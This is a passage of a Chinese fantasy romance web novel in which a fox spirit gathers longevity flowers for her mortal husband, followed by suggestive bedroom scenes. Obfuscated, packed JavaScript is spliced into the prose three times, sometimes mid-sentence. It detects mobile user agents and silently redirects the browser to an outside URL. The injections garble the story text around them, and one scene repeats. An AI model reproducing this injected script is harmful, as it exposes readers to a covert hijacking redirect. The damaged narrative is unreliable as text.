胡翘翘的心跳都不由自主地快了几分,忐忑不安地打量着二人。 还好,石珊珊和许曼神色如常,并没有任何异样。 看来是自己多虑了,她们或许早就忘了之前见过自己。 三个女孩落下云头,亲亲热热地聚在一起,叽叽喳喳说个不停,分享着各自的见闻和收获。 原来,许曼和石珊珊也是今早才刚碰到彼此,正巧顺路同行。 “胡道友,师姐,你们看,我这次找到了不少东西,特别是一株乌玄参,可把我给乐坏了!!”石珊珊兴奋地说着,从储物袋里掏出一株闪着乌黑幽光的人参,献宝似的递到胡翘翘和许曼的面前。 许曼仔细端详了片刻这株乌玄参,点点头,“嗯,这只乌玄参应该有千年了,品相不错,起码值一百功勋。” “师姐,你呢?” “我这次的收获也不错,”许曼微微一笑,带着几分得意说道,“昨天我找到了一处神通境修士的洞府,虽然里面已经有人提前搜刮过了,但是对方遗漏了一间密室。这密室虽是空的,可墙壁上留有那修士感悟神通时的大量心得,将来我若有机会突破神通境,定然大有帮助。” “神通境修士的感悟心得!” 石珊珊听得两眼放光,顿时觉得自己手里的乌玄参不香了。 二女又好奇地问胡翘翘,“胡道友,你去了什么地方,可有收获?” 胡翘翘想了想,将自己在神魔战场的所见所闻简单说了一遍,只是为了避免给萧凡带来不必要的麻烦,隐去了他的存在。 听完她的讲述,许曼和石珊珊二人皆是目瞪口呆。 前辈竟然去过神魔古战场那种凶险之地?! 在她们出发前往长陵秘境之前,宗门长辈曾再三叮嘱,那神魔古战场魔气滔天,危机四伏,是低阶修士绝对不可轻易涉足的险地。因此,她们二人甚至连靠近都不敢靠近,生怕沾染上一丝魔气。却没想到,前辈不光安然无恙地进去了,还遭遇了传说中的心魔,并且成功将其战胜,全身而退! 两人都一脸钦佩地看着胡翘翘。 “胡道友真是厉害!” “哎呀,没什么啦……”胡翘翘顿时脸都红了,臊的。 她这点实力,似乎怎么都和“厉害”两个字挂不上钩啊…… 石道友和许道友应该只是客套吧。 “我、我只是运气好罢了。” 她接着讲了下去。 片刻后,当听到天星宗的李玥强行索走胡翘翘找到的铜镜法宝时,二女又是义愤填膺。 哼,若不是前辈压制了实力,那李玥哪有机会如此嚣张? “前……胡道友,这李玥欺人太甚,”石珊珊气愤难平,“你放心,回去之后,我就告诉姑祖母,让她替你找天星宗的负责人,要个公道!” “心领了,但不必了,”胡翘翘连忙摆手,笑着道,“我只要找到长生花,就心满意足了,给她便给她吧。” 石珊珊和许曼彼此交换了一个眼神。 区区一面铜镜法宝,估计前辈根本不放在眼里,更重要的是,前辈应该淡泊名利,不喜与人争夺,所以才会将铜镜拱手相让。如果她们将此事闹大,李玥碍于颜面,或许会归还法宝,但反而可能给前辈添麻烦,惹得前辈不喜。 罢了,此事她们替前辈记在心里,将来有机会再回敬李玥也不迟。 “对了,胡道友有发现长生花吗?”许曼问。 胡翘翘想了想,说,“昨日我遇到了一位道友,他有长生花的信息,并给了我一份地图。只是他另有要事,先离开了。” 闻言,二女都是十分欣喜。 ”胡道友可愿和我们一起走呢?”许曼提议道,“我们不需要长生花,只是三人一起行动,也好有个照应。” 胡翘翘笑着点头,“好呀。” 于是,三个女孩儿结伴而行,朝着长生花生长的地方继续前进。 说来也怪,这一路上,她们竟是出奇的顺利,莫说是什么强大的妖兽,便是连一只稍微厉害点的都没有遇到,就好像……有人提前帮她们清扫了障碍一般。 “真是奇怪……”石珊珊左顾右盼,口中嘟哝着,“怎么感觉这一路顺畅得有些过分了?” “是啊。”许曼深有同感,美眸中掠过一丝疑惑,“连只像样的妖兽都没遇到。” “这不是更好嘛!”小狐狸天性乐观,笑盈盈地说道,“也许是我们运气好,刚好避开了所有危险呀!” 数里之外的一片空地上,十几只体型庞大的狼妖被一股无形的力量牢牢地压制在地上,动弹不得,四肢呈“大”字型分开,模样滑稽可笑。 而在狼妖群之旁,站着一个样貌平凡的男性人类修士,他负手而立,周身气息内敛,却给人一种深不可测的感觉。 “这位大仙……”狼妖王战战兢兢地开口,声音中带着几分哭腔,“您什么时候才能放了我们啊?” “别急,等她们过去这一带后以后,你们身上的禁制就会自然解开。” 陈子均说完,便离开,继续往前,替胡翘翘荡平前方的阻碍。 …… 转眼间,目的地已近在咫尺。 胡翘翘手持地图,一边飞行,一边仔细核对着路线。 “就是这里了!”她突然眼前一亮,惊喜地叫出声来。 只见前方一处险峻的悬崖峭壁之上,有几朵散发着莹莹白光的奇花正迎风摇曳。 “真的是长生花!”胡翘翘迫不及待地就要飞上去, “等等!”许曼连忙拦住了正欲飞身而起的胡翘翘。秀眉微蹙,神情严肃,“我曾听闻,这长生花虽然对人族修士大有裨益,但它的香气对低级妖兽同样有着致命的诱惑。一些强大的妖怪,便喜欢守在长生花附近,等着那些被香味引来的猎物自投罗网。我们还是小心为妙。” 胡翘翘闻言,脚步一顿,有些迟疑地看向许曼,“可是……那位道友给我的地图上,并没有提到这一点啊?” “宁可信 其有,不可信其无,”许曼神色凝重,“小心驶得万年船,我们还是再等等看吧。” 石珊珊不耐烦地跺了跺脚,“哎呀,哪有什么妖兽啊?我们都到这里了,它怎么还不出来?!” 许曼瞪了她一眼,“你是师姐还是我是师姐!” “……” 胡翘翘迟疑片刻,最终还是选择相信许曼,“那……我们就再等等吧。” 夕阳西下,晚霞染红了半边天,将原本碧绿的山谷映照得一片金红。 石珊珊百无聊赖地踢着脚下的石子,忍不住抱怨道:“师姐,这都等了快两个时辰了,别说妖怪了,连只兔子都没瞧见!你说的那些可怕的大妖呢?该不会是睡过头了吧?” 许曼秀眉微蹙,按理说,长生花这种天材地宝附近,不可能没有妖怪守护,难道是她判断有误? “是啊,许道友,我们都在这等了大半天了,会不会是你记错了?”胡翘翘也忍不住开口问道,一双水汪汪的大眼睛里充满了期待。她一心想着早点拿到长生花,好回去替相公增加寿元。 许曼也开始怀疑起来,难道是自己太过谨慎了?可是典籍上明明记载着…… 她沉吟片刻,美眸扫过四周,确实没有发现任何妖兽活动的痕迹。 “或许……真的是我记错了?” 胡翘翘见她松口,心中一喜,连忙说道:“许道友,石道友,既然没有危险,那我们快去摘长生花吧!” “等会,”许曼道,“胡道友你自己去,我和师妹在旁边替你掠阵,以防万一!?” “好的!”胡翘翘早就等不及了脸上顿时绽放出灿烂的笑容,,兴冲冲地朝悬崖上飞去。 她小心翼翼地落在那几朵长生花之前,小心翼翼地将它们摘下,再从储物袋中取出了一个事先准备好的玉盒。再将它们放了进去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892987|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她将玉盒收回储物袋,飞了回去,喜孜孜道:“拿到了!” “恭喜胡道友得偿所愿!”许曼和石珊珊也笑着恭喜道。 远处,陈子均站在不远处,将三人的一举一动尽收眼底,嘴角不禁微微上扬, 他低头看了一眼脚下正瑟瑟发抖的庞大犀牛妖,淡淡道,“好了,你可以滚了。” 犀牛妖如蒙大赦,连滚带爬地逃离了此地,生怕晚了一步,就会成为这个可怕男人的脚下亡魂。 胡翘翘小心翼翼地将玉盒收回储物袋,冲着许曼和石珊珊扬了扬眉,笑得像只偷了腥的猫,“拿到了!” “恭喜胡道友得偿所愿!”许曼和石珊珊也笑着恭喜道。 拿到了长生花,胡翘翘已经心满意足。 掰掰手指头,三天时间,还剩一天多,就提前完成任务! 想到回去以后,相公就能延长寿元,她心情大好,眼睛都笑弯了,好不容易才控制住了变出尾巴摇上一摇的冲动。 “一朵长生花,就能增寿二十年,我记得方才有三朵……” “长生花与长寿丹效用相同,仅前两次服用有效,”许曼见状,忙出声提醒,“超过两次便再无用处。” 凡人的寿元若是可以无限制增加,那也实在太过匪夷所思。 “只有两次啊……”胡翘翘失落一瞬,又恢复开心。 两次也不错,以后还可以在想别的办法嘛! 然而,就在此时。 “刷……” 一阵阴风毫无征兆地袭来,带来浓厚的腥臭气味儿。 “什么东西?”石珊珊最先察觉到不对劲,惊呼一声,下意识地拔出长剑,警惕地盯着前方阴风来源。 阴风中,一个身形消瘦的人影缓缓走出,他佝偻着身子,仿佛承受着莫大的痛苦,破烂的布条挂在身上,遮不住腐败的躯体。恐怖的是,他竟没有脑袋,断颈处不是鲜红的血肉,而是乌黑腥臭的豆腐血和烂肉,散发着令人作呕的气味。 “啊!”胡翘翘惊呼一声,差点躲去了石珊珊的身后。 许曼和石珊珊的脸色也变了,二女一个抽出长剑,剑锋上寒光闪烁,一个立即召唤出石人护卫,沉声喝道,“你是什么人?!” 那无头人对她们的反应视若无睹,只是缓缓转向胡翘翘,空荡荡的脖颈发出几声令人毛骨悚然的“咯咯”声,仿佛是在努力转头。紧接着,他那腐烂的腹部一阵耸动,里面传出一个嘶哑难听,如同破风箱一般刺耳的声音:“你、你采到了长生花,对不对……” “是又怎么样?!”石珊珊上前一步,长剑横在胸前,厉声接口。 “你到底是什么东西!”许曼指挥着石人,摆出攻击的架势,眼中满是警惕,“不道明身份,别怪我不客气了!” 那无头人却仿佛失去了支撑一般,直挺挺地倒了下去,像一个被人随意丢弃的布袋。紧接着,一缕黑气从“尸体”的体内飘荡而出,缓缓凝聚,最终化作一个面色阴鸷的中年男子。 “几位别误会,我只是借尸还魂罢了。”他幽幽开口。 阴魂向三女讲述了自己的故事。他说自己曾是一名魂宫境的邪修,漫长的寿元早已送走了子孙,世间唯余一个体弱多病的孙女,是他唯一的牵挂。几年前,他未能突破神通境,身死道消。 然而,在轮回界 中,他不放心孙女,悄悄去查看了生死簿,却发现孙女的寿命竟然只剩短短几年! “她还是个孩子啊,我怎么能眼睁睁看着她早死……”说到此处,鬼魂的声音哽咽起来,“我记得长陵秘境即将开启,秘境之中便生长着长生花。但我生前为邪修,功德不足,无法正常出入鬼门关,实在走投无路了……才铤而走险……趁着鬼门开启之时,破开空间,来到这里……” 他昨日以秘法探查到了长生花的下落,满心欢喜地赶来,却发现一头实力强横的犀牛妖守护在此。一个不慎,竟被那犀牛妖一口咬掉了脑袋! 无奈之下,他只得退避三舍,苦思对付犀牛妖的办法。 直到方才,他突然感觉到犀牛妖的气息消失,便急忙赶来,却看到了长生花被胡翘翘摘走的场景。 “把长生花给我……求求你……把长生花给我……”阴魂死死盯着胡翘翘,竟然“噗通”一声跪倒在地,哀求的声音里带着颤音,语气近乎疯狂。 “长生花是我们拼死拼活才得到的,凭什么给你?”石珊珊被这突如其来的举动吓了一跳,忍不住大声呵斥道。 “求求你……求求你把长生花给我吧……哪怕,只有一朵也可以……” “……”胡翘翘沉默着。不知为何,眼前的景象触动了她内心深处的某根弦,让她回忆起一些模糊的片段。 那些片段温暖而熟悉,仿佛是来自另一个世界的美梦。 在梦里,她也被父母和族人捧在手心里呵护着,无忧无虑地成长。 只是梦境太过虚幻,她拼尽全力也无法想起更多细节,只余下淡淡的温馨和难以言喻的失落…… 她想起自己摘取了三朵长生花,而方才许曼也说了,凡人最多只能服用两次。 小狐狸心中一动,或许,分给对方一朵也无妨? 这时,许曼和石珊珊交换了一个担忧的眼神。这长生花是前辈的战利品,按理说应该由前辈自行处置。但这位前辈虽然实力强大,性格却过于单纯善良。她们真怕胡翘翘一时心软,直接把长生花送给了那阴魂。 “咳咳,”许曼轻咳一声,抢先说道,“这长生花如此珍贵,哪有说给就给的道理?” 那阴魂闻言,并未多言,只是张开嘴,吐出一缕漆黑的阴气。阴气在空中缓缓凝结,最终化作一根黑色的蜡烛,飘到胡翘翘面前。 “此物赠予恩人,它名唤‘引魂香’,乃是用我的本命阴气炼制而成,可以燃烧百年而不灭。若您将来踏入轮回界,有所需要,无论相隔多远,我都能感应得到,并以最快的速度赶到恩人身边。。” 胡翘翘思考了会儿,收下蜡烛。 “好吧,我分你一朵。” 那阴魂接过长生花,脸上露出一丝满足的笑,冲三女点了点头,消散在空气中。 第117章 画的什么? 一天多时间,转瞬即逝。 第三天的上午,此时,距离长陵秘境关闭的时间已经不到一个时辰。 石珊珊和许曼早有经验,带着胡翘翘提前赶往出口开启之处。 陆陆续续地,其他修士也赶到此处,有宗门子弟,也有几名散修。 胡翘翘也左顾右盼,见到了站在散修中的萧凡,有心想和他打个招呼,又人多不太合适,最终只是微笑致意。 萧凡似乎也见到了她,对她微微点了点头,算是打过招呼。 片刻后,天星宗的三名弟子到了,李玥赫然也在其中,只是她的眉宇间笼罩着一层挥之不去的阴鸷黑气,目光较之以往更加冷漠。 许曼和石珊珊想起胡翘翘说的话,狠狠瞪了她几眼。 李玥视若无睹,阴冷的目光扫过二人,落在胡翘翘的身上,略一停顿,才挪开了。 眼见离午时只差一刻,石珊珊左右张望,面露不解:“怎么还没来啊?” 许曼好奇地问:“你在找谁?” “青云宗那个臭屁的小鬼啊,”石珊珊哼了一声,“进来之前,我不是和他打了赌么,我怕出去以后他抵赖,不承认。” 许曼左右环顾一周,确实没见到林清他们,也微微一愣。 “秘境都快要关闭了,现在还没到,不会出什么事了吧?” 又过了一会儿,远处天际几道遁光急速飞来。 众人定睛一看,正是林清、方云和另一名青山宗弟子。 但奇怪的是,三人不知为何,皆是一身新郎打扮,胸口还佩戴着大红花,头发散乱,脸上写满了悲愤,似乎受了什么委屈。 在他们身后,几个身姿婀娜的女子在空中紧追不舍。 “冤家,别跑呀!”其中一个女子娇嗔道,声音酥麻入骨,“咱们堂还没拜完,洞房还没入呢!哪有你们这样当新郎官的?“ “就是,快回来吧,我们都还没好好快活一番呢。” 林清回头怒目而视,羞愤欲绝:“谁、谁要跟你们拜堂成亲?光天化日之下强抢良家少男,还有没有王法了?!” 一名女子掩嘴娇笑,:“你们人类不是常说‘救命之恩当以身相许’吗?两天前你们误入沼泽迷宫,若不是我们姐妹出手相救,只怕早已成了那淤泥中的枯骨。按照你们人类的说法,你们不就应该嫁给我们吗?” 另一个女子也道,“乖乖留在这里,做我们的上门女婿有什么不好,吃的喝的都不用操心,将来我们还能给你们生几个鳄鱼宝宝。” 周围众人早已听明白了事情的来龙去脉,顿时想要爆笑,却碍于青山宗的面子,不得不死死忍住。 见众人的目光都越来越诡异,肩膀也在按捺着耸动,林清羞愤欲死。 “闭、闭嘴!” 原来,昨日他和方云等人汇合后,误入了一处沼泽迷宫。幸得这几个鳄鱼女妖相救,几人这才逃出生天。 谁知这几个鳄鱼女妖竟看上了他们,非要逼着他们留下来做上门女婿。 几人自然不肯答应,结果被她们用妖法迷倒,换上了新郎喜服,要强行拜天地。 中途,几人才好不容易找到机会逃出来,却又被这几个女妖一路追赶。 她们毕竟救过几人的性命,林清等人也不好意思下杀手,但这几个鳄鱼女妖的实力不弱,普通法术又对她们不疼不痒,结果就这么一路追一路逃的,一直到了这里。 林清一边往前冲,一边喊,“诸位,谁能帮我们拦住他们,必有重谢!” 此时,李玥手中不知何时出现了一面铜镜。 她上前一步,将铜镜举起,对着鳄鱼女妖。 下一刻,镜中爆发出刺目的黑光,将她们笼罩。 那几个女妖甚至来不及反应,魂魄便被吸走,身子从空中跌落,摔在地上,再无声息。 李玥面无表情地将铜镜重新收起,仿佛什么都没发生过一般。 林清见状,惊得跳了起来,指着地上的尸体,吼道:“我让你帮我拦住她们,没让你杀了她们!” 李玥瞥了他一眼,声音中充满了冷漠。 “几个妖怪,杀了又怎么样?” “你——” 这时,虚空忽然发出震颤。 秘境的出口,缓缓开启。 …… …… 出去后,胡翘翘见到了早已等候在外面的小青,她本想再同萧凡致谢,却发现不知何时,萧凡已经不见了踪影。 于是,她归心似箭,立刻和许曼、石珊珊告别,然后飞奔回家。 速度之快,连小青都几乎要跟不上了。 还没到家,胡翘翘便远远见到了已经等在门口的陈子均。 呜呜呜,相公居然在外面等她,这三天,他一定也很难熬吧! 她眼眶一热,飞奔过去,一头扎进了陈子均的怀里。 “相公!我回来了!” 被她这么一扑,陈子均往后退了半步,才稳住了身形。 他搂住怀中软软的人儿,轻拍了几下她的背,柔声说道:“回来了就好,回来了就好……” “相公,翘翘好想你啊!”胡翘翘紧紧地抱着陈子均,语气中带着一丝哽咽。这 几天在秘境中经历的种种危险和思念之情在这一刻全部涌上心头。 陈子均轻轻抚摸着胡翘翘的秀发,柔声问道:“怎么还哭了?是不是里面很危险,把娘子吓坏了?” 胡翘翘怕他担心,连忙摇头,“没有,翘翘没遇到什么危险!”她还特意拍了拍胸口,拍了拍脑袋,“你看,翘翘全身上下,完好无损,连一根头发都没少呢!” “那哭什么?”陈子均柔声问道,语气中带着一丝无奈的笑意。 她泪眼婆娑地看着陈子均,撅着小嘴说道,“人家只是太想你了嘛!“ “我也很想娘子。”陈子均牵起她的手,温声说,“走吧,我们先回家,然后慢慢说。” “嗯!”胡翘翘乖巧地应道。 回到卧室,胡翘翘迫不及待地从储物袋中掏出一个精致的玉盒,献宝似的递到陈子均面前,“相公,你看,我找到长生花了!” 陈子均接过玉盒,缓缓打开,目光微怔。盒中静静躺着两朵晶莹剔透的玉色小花,散发着淡淡的清香。 “许道友她们说,一朵长生花能为凡人延寿二十年,两朵便是四十年,直接吞服就行了。”胡翘翘目光灼灼,一脸欢喜地道。“相公快点将它们服下吧,等以后,我再给你去找其他能延寿的宝贝。” 陈子均心中感动,伸手将胡翘翘揽入怀中,低头在她额头上轻轻一吻。 “娘子为了得到长生花,一定遇到了很多危险吧,,为了我,值得吗” 胡翘翘依偎在他怀中,小声道:“当然值得啦!若是不能与相公你长相厮守,就算翘翘一个人活一万年,那又有什么意思?” 陈子均轻叹一声,“娘子对我这么好,我该怎么报答你呢?” 一听这话,胡翘翘突然双眼一亮。 “那个……”她羞涩地低下头,,“要不,翘翘说个报答之法?” 陈子均问:“什么?” 胡翘翘嘻嘻一笑,直接拖住陈子均的手臂,将他往床边的方向拉。 而后,她坐在他的腿上,双手勾住他的脖子, 两人呈面对面的姿势,四目相对,气息交缠。 “相公,你闭上眼……”胡翘翘小声道。 陈子均依言闭上了眼睛。然后,下一刻,柔软的触感轻轻落在他的额头上,带着少女独有的馨香,像是羽毛轻轻扫过心湖,泛起阵阵涟漪。 那柔软的触感,顺着他的额头,缓缓下移,划过他的眉毛,轻轻扫过他的眼睑,最后落在了他的鼻梁上…… 一寸寸,细腻而温柔。 然后,那柔软,轻轻地印在了他的唇上。 越吻着,胡翘翘越觉得,相公的任何一个细微之处,都让她觉得那么的完美和心动,也是那么的—— 可口! 她真的很想很想,一点点的把相公给吃下去! 不知想到什么,胡翘翘的脸上突然爬起一抹淡淡的红。 与此同时,她伸出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892988|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小手,拉着陈子均的手,放在了她的胸前,同时小声道:“相公,我觉得自己好像瘦了,你觉得呢……” …… …… 长陵秘境一行后,胡翘翘深感自己的实力太弱小,加上替陈子均寻得了长生花,她心头的大石落了地,再也不用四处奔波,于是小狐狸也收了往日爱玩的性子,不再四处折腾,一心一意地闭关修炼,偶尔也与陈子均一同出门逛街,享受这难得的平静生活。 日子如流水般淌过,转眼就到了八月初。胡翘翘每日勤修苦练,小瓶中的灵液已去了小半,妖力也突飞猛进,竟隐隐胜过小青一筹。之前那些从储物袋中得到的宝贝,现在也能运用自如了。 陈子均见她进境神速,却并不急于求成,反而让她暂时停下服用灵液。他深知修炼一途,最忌讳的就是急功近利,揠苗助长。于是,他只督促胡翘翘反复练习各种法术和法宝的使用,又让小青指点她妖怪之间的战斗技巧,借此磨练她的心境,等待时机成熟,再做突破。 这日清晨,陈子均用过早饭,便来到花园中查看息壤。 先前从秘境中得到的造化玉莲种子,此时已经种下,也已经破土而出,长成了一株嫩绿的小苗。也许是息壤太过神奇,这玉莲明明是水生植物,却也在这神土的滋养下茁壮成长。 陈子均俯下身,用指尖轻轻摩挲着那株小苗。短短几日,它竟又长高了一尺有余,叶片也宽大了不少,顶端甚至冒出了一个小小的花苞,看起来娇嫩欲滴。 “一个月才能提升一品么……”陈子均在心中默默估算着。 这段时间,在太阴星力的滋养下,胡翘翘已经不需要每日服用养魂玉芝,所以除了那丛栀子花,他便用息壤来全力催生这株造化玉莲。饶是如此,这半个月过去,它也才堪堪长到如今这般大小。 “看来,只有慢慢等了。” 与此同时,书房中。 胡翘翘正同小青一起在整理着书籍。 前几天刚下了场雨,今天则是阳光明媚,她打算将相公的书都拿出去晒一晒,除湿防霉。 纤纤手指一点,书架上的书便纷纷如同一只只小蝴蝶般,展翅飞起,然后又稳稳地落到二女的手中。 二女再 将它们拿到院中一块平整的青石板上,将它们一本本地从中摊开,放在阳光下晾晒。 如此两三次后,大部分的书便已经沐浴在阳光下。 胡翘翘再次回到书房,准备将剩下的书籍也搬出去晾晒。 剩下的几十本书,是两人买这套宅子时自带的,全都是崭新,却不是陈子均需要的类型,所以他放在那里,一直没翻阅过,但也没扔掉。 胡翘翘刚控制着这几十本书从书架上飞下来,不料,从其中一本书中,突然飘出了一本薄薄的小册子,轻飘飘地落在地上。 “这是什么?” 胡翘翘一怔,让小青将书给搬出去,然后,她好奇地将小册子拾起,翻开一看,顿时瞪大了眼。 “咦?” 映入她眼帘中的,不是预想中的文字。 而是一幅幅令人面红耳赤的图画。 每幅画中的主角,都是一对青年男女,画师的画功不错,至少在胡翘翘的眼里,是绘制得栩栩如生,纤毫毕现。 每一幅画中的地点,都不太一样,但奇怪的是,无论是在床上,还是在院子里、凉亭里、书房中……这对男女都一丝不挂,还用各种奇怪的姿势,交缠在一起。 “这……这画的是什么呀?”胡翘翘还是第一次见到这样的画。 小狐狸一双清澈的大眼睛紧紧地盯着那些画,上面的男女全都没穿衣服,姿态还如此亲密,她知道这应该不是什么正经画儿,但这些画仿佛有一股魔力,让她既感到羞耻又充满了好奇,吸引着她不断地翻页。 “怎么……画上的男人,长得如此奇怪……”她小声嘀咕着,“那是什么啊……怎么看着,和我不太一样……看着,有点丑丑的……” 难道说,男人和女人不光上面不一样,连那里……也长得也不一样? 那相公……也是这样么? 第119章 小狐狸又翻了一页。 还有,为什么每一幅画上的男人,都将那东西,放进…… 不、不会戳坏吗? 他们这到底是在干什么? 这是好事还是坏事? 如果是好事,为什么相公从来没对她这么做过? 如果是坏事,为什么画上的这两个男女,表情都十分快乐? 胡翘翘的脑海中充满了疑惑和好奇,正当她准备继续翻看时,身后忽然传来了熟悉的脚步声。 “娘子,你在干什么呢?” 只是这一声,就给胡翘翘吓了一跳,她慌乱地合上书,把身子转过来的同时,将书藏在背后,睁大双眼看着陈子均,张了张嘴一个字还没说,脸先红了。 “相公,你,你怎么过来了?”她结结巴巴,一脸心虚。 其实,连她自己也不知道为什么要将这本书藏起来。 也许,是她不想让相公知道,她发现了他一直瞒着她的秘密,万一,他为此难为情,怎么办? 看着胡翘翘这副像是做错了事的心虚的样子,陈子均疑惑的皱了皱眉,“娘子,我刚才见你好像在看什么书……” “没呀,翘翘什么书都没有看。”胡翘翘用力摇头,眼神闪躲。 “真的?”陈子均注视着她。 “当、当然是真的啦。”胡翘翘红着脸,结结巴巴道:“相公,也、也知道,翘翘平时不爱看书的……” 陈子均的眼睛闪了闪,“那娘子手里拿的是什么?” “……是……是我准备拿去晒的书!” “让我看看。” “就、就是一本书而已,”胡翘翘支支吾吾,转身就往外溜,“那个,相公,我去找小青啦……” 陈子均用手一把拉住她,用力一带,将她带到了自己的怀里。 “娘子,把那本书给我看看。” 胡翘翘被陈子均这么半抱着,感受着从他身上传来的干净的又好闻的气息,顿时,人都有些酥麻了,但此时的她尚且还是有些理智的,知道千万不能让陈子均看到那本小册子,可是陈子均抱得很紧,她又不敢用妖力挣扎,怕伤到陈子均。 感觉到陈子均的手伸了过来,要从她的手里将小册子拿过去,胡翘翘急中生计,踮起脚,在陈子均的嘴唇上轻轻一吻,软糯的声音带着一丝恳求: “相公~答应翘翘,不要看……” 陈子均的手顿了一下,胡翘翘趁机将他轻轻推开,然后一下飞出了书房:“相公,这个你不能看。” 抱着那本小册子,胡翘翘一路小跑着,来到了花园中,小心翼翼地回头看了看,确定陈子均没有跟过来,这才长舒了一口气。 这时,她的视线落在了还在整理书籍的小青身上。 小青见多识广,她应该知道,这画中的男女,是在做什么吧? “小青,小青!”胡翘翘跑过去,将那本小册子递给她,一双水汪汪的大眼睛里写满了求知欲。“小青,你快帮我看看,这是什么呀?” 小青不明所以,随手翻开小册子,只是看了一眼,脸颊瞬间就红透了,她猛地合上小册子,差点没把书扔出去,结结巴巴地说道:“翘翘姐,这……这不是春宫图吗?你哪儿来的?” 胡翘翘一脸迷茫:“春宫图?什么是春宫图啊?” “……小青皱眉,压低声音,凑到胡翘翘耳边,含糊不清地说道:“就是那种,那种教人洞房的画册,你明白了吗?” “洞房?”胡翘翘眨巴着眼睛,更加疑惑了,“洞房是什么?是用山洞做的房间吗?” 小青看着胡翘翘这一脸天真无邪的模样,整个人都迷茫了。 难道这小狐狸精,活了几百年,竟然还不知道男女之事? 可是,她不是已经和公子成亲了么? 小青试探地问:“那个……翘翘姐,你该不会从来没和公子做过那事儿吧。” “做……那事儿……”胡翘翘愈发迷糊了,“那事儿,是什么事儿啊?” 小青沉默了会儿,开口:“你总该知道,男人和女人,晚上睡觉的时候,除了盖着棉被纯聊天,还能干点别的吧?” 胡翘翘思考了一会儿:“我和相公晚上睡觉的时候,他有时会给我讲故事,你说的是这个吗?” 小青索性豁出去了,指着画册里那些不堪入目的画面,压低声音,“难道,你同公子没做过这画中的事情?” 胡翘翘一愣,低头看看画册,小青这话的意思,难道是说,相公将那东西……放到…… 她连忙摇头:“没有做过。” 小青愣愣地看着胡翘翘,仿佛在看什么稀奇珍兽。 胡翘翘又好奇地追问:“他们到底是在做什么?” “……” 小青支支吾吾了半天,这时,忽然听到了陈子均的传音。 她顿时呼出了一口气,连忙道:“他们是在修炼!” “修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14892989|159967||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炼?” “对,这是一种特殊的修炼之法!叫做阴阳调和大法,只有一男一女脱光了衣服,赤诚以对,才能练成!” “哦……” 小狐狸似懂非懂地点点头。 “这门功法,只有修士才能练 时,胡翘翘会舒服地眯起眼睛享受。 但这时,她的脑子里全是白天看过的那几幅图画。 透过氤氲的水汽,她偷偷地打量着陈子均,仿佛看到了他和那画中男子一样,赤身裸体的模样。 顿时心肝砰砰跳个不停。 那丑丑的东西,如果长在相公的身上,似乎也没那么不可接受了。 原来夫妻之事,就是相公用它…… 这个念头一出现,胡翘翘就觉得自己的脸越来越烫,仿佛要滴出血来。 不行,胡翘翘,你不能再胡思乱想了! 她深吸一口气,暗自给自己鼓劲,是时候执行计划了! “相公……”胡翘翘轻轻唤了一声,伸出白嫩的小手,轻轻地拉了拉陈子均的衣角。 陈子均停下手中的动作:“怎么了?” 平日里温顺乖巧的小狐狸,此刻眼眸中却闪烁着大胆的光芒,像是做了什么重大决定,声音很轻,却很坚定。 “相公,今天我们一起……一起洗澡,好吗?” 此话一出,空气仿佛凝固。 月光透过窗棂,洒在胡翘翘的脸上,给它镀上了一层朦胧的光晕,显得更加娇媚动人。 平日里清澈灵动的眼眸此刻水光潋滟,带着一丝说不清道不明的意味,脸颊上两团红晕如熟透的蜜桃,让人忍不住想要咬上一口。 “这……不太好吧,娘子。” 有什么不好的嘛!“胡翘翘见陈子均拒绝,顿时有些委屈巴巴地嘟起了嘴,摇晃着他的胳膊,声音娇嗲得能滴出水来。“相公,你别害羞啦,我们是夫妻,一起洗澡有什么不好的呀~“ “别闹了。”陈子均转身拿起擦身子的干布,温声说,“好了,起来吧,水都快凉了。” 胡翘翘自水中站了起来,沐浴后的她雪白的肌肤又添上了一层健康的淡粉色,更增添了一丝诱惑。 她一边任陈子均替她擦着身子,一边满心不解。 她都主动要求了,为什么相公还是不愿意和她一起洗澡? 平时也没觉得相公是如此害羞的人啊? 忽地,她心中冒出一个念头,难道…… 第120章 行那夫妻之事 胡翘翘脑海中突然闪过一个念头,脸颊瞬间变得滚烫。 莫非是相公对自己没有信心?觉得……觉得他那儿太丑了,所以很自卑,不敢在她面前光身子? 胡翘翘越想,这个可能性越大。 穿好衣服后,她深吸一口气,踮起脚尖,在陈子均的耳边轻轻说道:“相公,你是不是……在担心什么?” 陈子均转头看她,眼神中带着一丝疑惑。 